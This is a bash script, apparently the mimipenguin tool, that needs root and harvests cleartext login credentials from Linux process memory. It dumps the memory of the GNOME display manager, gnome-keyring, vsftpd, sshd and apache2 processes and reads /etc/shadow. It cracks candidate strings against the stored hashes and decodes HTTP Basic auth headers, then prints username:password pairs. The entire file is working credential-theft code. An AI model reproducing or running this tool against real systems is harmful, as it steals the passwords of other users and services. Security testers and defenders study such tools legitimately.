#!/bin/bash

# Author: Hunter Gregal
# Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com
# Dumps cleartext credentials from memory

#root check

echo "Starting mimipenguin"


if [[ "$EUID" -ne 0 ]]; then
	echo "Root required - You are dumping memory..."
	echo "Even mimikatz requires administrator"
	exit 1
fi

#Store results to cleanup later
export RESULTS=""


# $1 = PID, $2 = output_file, $3 = operating system
function dump_pid () {

	system=$3
	pid=$1
	output_file=$2
	if [[ $system == "kali" ]]; then
		mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | grep -E 'heap|stack' | cut -d' ' -f 1)
	else
		mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1)
	fi
	while read -r memrange; do
		memrange_start=$(echo "$memrange" | cut -d"-" -f 1)
		memrange_start=$(printf "%u\n" 0x"$memrange_start")
		memrange_stop=$(echo "$memrange" | cut -d"-" -f 2)
		memrange_stop=$(printf "%u\n" 0x"$memrange_stop")
		memrange_size=$((memrange_stop - memrange_start))
		dd if=/proc/"$pid"/mem of="${output_file}"."${pid}" ibs=1 oflag=append conv=notrunc \
			skip="$memrange_start" count="$memrange_size" > /dev/null 2>&1
	done <<< "$mem_maps"
}



# $1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE
function parse_pass () {

	#If hash not in dump get shadow hashes
	if [[ ! "$2" ]]; then
			SHADOWHASHES="$(cut -d':' -f 2 /etc/shadow | grep -E '^\$.\$')"
	fi

	#Determine password potential for each word
	while read -r line; do
		#If hash in dump, prepare crypt line
		if [[ "$2" ]]; then
			#get ctype
			CTYPE="$(echo "$2" | cut -c-3)"
			#Escape quotes, backslashes, single quotes to pass into crypt
			SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;')
			CRYPT="\"$SAFE\", \"$CTYPE$3\""
			if [[ $(python2 -c "import crypt; print crypt.crypt($CRYPT)") == "$2" ]]; then
				#Find which user's password it is (useful if used more than once!)
				USER="$(grep "${2}" /etc/shadow | cut -d':' -f 1)"
				export RESULTS="$RESULTS$4			$USER:$line \n"
			fi
		#Else use shadow hashes
		elif [[ $SHADOWHASHES ]]; then
			while read -r thishash; do
				CTYPE="$(echo "$thishash" | cut -c-3)"
				SHADOWSALT="$(echo "$thishash" | cut -d'$' -f 3)"
				#Escape quotes, backslashes, single quotes to pass into crypt
				SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;')
				CRYPT="\"$SAFE\", \"$CTYPE$SHADOWSALT\""
				if [[ $(python2 -c "import crypt; print crypt.crypt($CRYPT)") == "$thishash" ]]; then
					#Find which user's password it is (useful if used more than once!)
					USER="$(grep "${thishash}" /etc/shadow | cut -d':' -f 1)"
					export RESULTS="$RESULTS$4			$USER:$line\n"
				fi
			done <<< "$SHADOWHASHES"
		#if no hash data - revert to checking probability
		else
	    patterns=("^_pammodutil.+[0-9]$"\
	             "^LOGNAME="\
	             "UTF-8"\
	             "^splayManager[0-9]$"\
	             "^gkr_system_authtok$"\
	             "[0-9]{1,4}:[0-9]{1,4}:"\
	             "Manager\.Worker"\
	             "/usr/share"\
	             "/bin"\
	             "\.so\.[0-1]$"\
	             "x86_64"\
	             "(aoao)"\
	             "stuv")
	    export RESULTS="$RESULTS[HIGH]$4			$line\n"
	    for pattern in "${patterns[@]}"; do
	      if [[ $line =~ $pattern ]]; then
	        export RESULTS="$RESULTS[LOW]$4			$line\n"
	      fi
	    done
		fi
	done <<< "$1"
} # end parse_pass


#Support Kali
if [[ $(uname -a | awk '{print tolower($0)}') == *"kali"* ]]; then
	SOURCE="[SYSTEM - GNOME]"
	#get gdm-session-worker [pam/gdm-password] process
	PID="$(ps -eo pid,command | sed -rn '/gdm-password\]/p' | awk -F ' ' '{ print $1 }')"
	#if exists aka someone logged into gnome then extract...
	if [[ $PID ]];then
		while read -r pid; do
			dump_pid "$pid" /tmp/dump "kali"
			HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
			SALT="$(echo "$HASH" | cut -d'$' -f 3)"
			DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)"
			DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | grep -E '^gkr_system_authtok$' -B 5 -A 5)"
			#Remove dupes to speed up processing
			DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
	
			#cleanup
			rm -rf "/tmp/dump.${pid}"
		done <<< "$PID"
	fi
fi

#Support gnome-keyring
if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then

		SOURCE="[SYSTEM - GNOME]"
		#get /usr/bin/gnome-keyring-daemon process
		PID="$(ps -eo pid,command | sed -rn '/gnome\-keyring\-daemon/p' | awk -F ' ' '{ print $1 }')"

	#if exists aka someone logged into gnome then extract...
	if [[ $PID ]];then
		while read -r pid; do
			dump_pid "$pid" /tmp/dump
			HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
			SALT="$(echo "$HASH" | cut -d'$' -f 3)"
			DUMP=$(strings "/tmp/dump.${pid}" | grep -E '^.+libgck\-1\.so\.0$' -B 10 -A 10)
			DUMP+=$(strings "/tmp/dump.${pid}" | grep -E -A 5 -B 5 'libgcrypt\.so\..+$')
			#Remove dupes to speed up processing
			DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
			#cleanup
			rm -rf "/tmp/dump.${pid}"
		done <<< "$PID"
	fi
fi

#Support VSFTPd - Active Users
if [[ -e "/etc/vsftpd.conf" ]]; then
		SOURCE="[SYSTEM - VSFTPD]"
		#get nobody /usr/sbin/vsftpd /etc/vsftpd.conf
		PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk -F ' ' '{ print $1 }')"
	#if exists aka someone logged into FTP then extract...
	if [[ $PID ]];then
		while read -r pid; do
			dump_pid "$pid" /tmp/vsftpd
			HASH="$(strings "/tmp/vsftpd.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
			SALT="$(echo "$HASH" | cut -d'$' -f 3)"
			DUMP=$(strings "/tmp/vsftpd.${pid}" | grep -E -B 5 -A 5 '^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$')
			#Remove dupes to speed up processing
			DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
		done <<< "$PID"

		#cleanup
		rm -rf /tmp/vsftpd*
	fi
fi

#Support Apache2 - HTTP BASIC AUTH
if [[ -e "/etc/apache2/apache2.conf" ]]; then
		SOURCE="[HTTP BASIC - APACHE2]"
		#get all apache workers /usr/sbin/apache2 -k start
		PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
	#if exists aka apache2 running
	if [[ "$PID" ]];then
		#Dump all workers
		while read -r pid; do
			gcore -o /tmp/apache "$pid" > /dev/null 2>&1
			#without gcore - VERY SLOW!
			#dump_pid $pid /tmp/apache
		done <<< "$PID"
		#Get encoded creds
		DUMP="$(strings /tmp/apache* | grep -E '^Authorization: Basic.+=$' | cut -d' ' -f 3)"
		#for each extracted b64 - decode the cleartext
		while read -r encoded; do
			CREDS="$(echo "$encoded" | base64 -d)"
			if [[ "$CREDS" ]]; then
				export RESULTS="$RESULTS$SOURCE			$CREDS\n"
			fi
		done <<< "$DUMP"
		#cleanup
		rm -rf /tmp/apache*
	fi
fi

#Support sshd - Search active connections for Sudo passwords
if [[ -e "/etc/ssh/sshd_config" ]]; then
	SOURCE="[SYSTEM - SSH]"
	#get all ssh tty/pts sessions - sshd: user@pts01
	PID="$(ps -eo pid,command | grep -E 'sshd:.+@' | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
	#if exists aka someone logged into SSH then dump
	if [[ "$PID" ]];then
		while read -r pid; do
			dump_pid "$pid" /tmp/sshd
			HASH="$(strings "/tmp/sshd.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
			SALT="$(echo "$HASH" | cut -d'$' -f 3)"
			DUMP=$(strings "/tmp/sshd.${pid}" | grep -E -A 3 '^sudo.+')
			#Remove dupes to speed up processing
			DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
		done <<< "$PID"
		#cleanup
		rm -rf /tmp/sshd.*
	fi
fi

#Output results to STDOUT
printf "MimiPenguin Results:\n"
printf "%b" "$RESULTS" | sort -u
unset RESULTS
